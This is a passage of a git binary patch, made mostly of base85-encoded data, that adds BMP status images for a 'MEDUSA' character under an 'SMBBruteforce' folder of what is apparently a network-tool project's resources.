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 Het!Q4(mo13 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce11.bmp b/resources/default_config/characters/MEDUSA/status/SMBBruteforce/SMBBruteforce11.bmp new file mode 100644 index 0000000000000000000000000000000000000000..961601342f83c19be9bcf25b71cc87f3e3748e7b GIT binary patch literal 18462 zcmdU$2V4}_`uDM61Elxfmb&aN+skb4l`c{R#fI2LQGwk>5EM)7CH4{%Yc#eb#%?T8 z!Cp}m6FZ`G*nOYb)m(4xjU_Sf|8wW_FwD-LnLXe0`#tBJ*_q`jy(Jc=g$(Nu_*1?4 z>tf+*+W(u_!s3{X`OmZiR_xEYu-I(oe+$_Ep5@Puf>WUfA_zh@EiBfbo`=C;P{?HD z&kMkLEG&%w3rlBbXGcfJ`)g|WP=U|FYUnhg(Q0UW)!Fo>muxT^KpmDU%x z+8b&+o1YpDO-5s9Q)A<|J9lo{uA6m)5+jUQu7Qr2fKUh!^JIasfWV9EP+GNjq{6NRxN#g;ma#O%ztuyi+0pNRS%-es7wXLDr}$)>p4;xU~8u#6?q7uYURO0R>)PS=)4VEflD)S_#KCUte3E zmnsh-#xbcZKg`)l-_$R;uqIWXjIir2e`jcUqu>P7V`c&q99`kJ5SU)@{z;=-!d8yo5`K%1>jXCQk9FI*U3 zKzGGlDgO4}tV2&1o}9+dD$COtU;J#QnO8QmARAkrJA435__S6XzJ`*b# zq^;rJt2^Jlyu7~t;>w2VeZ#ypwPzY!$rQ~%m6IY6H|~PuRXE2 z`R4k@E2z?q*H8%|UR_z!a&!IVy|af)ICKvT!!JS^jNQLzQq#5d;E5cu@Q1vW7j-+6 zf|(a}JL={ity^&9T*(eKo^trd?Nt}f->s?1%NZtcBZ|GLmvp=C&N)~+@9?on>k|-3 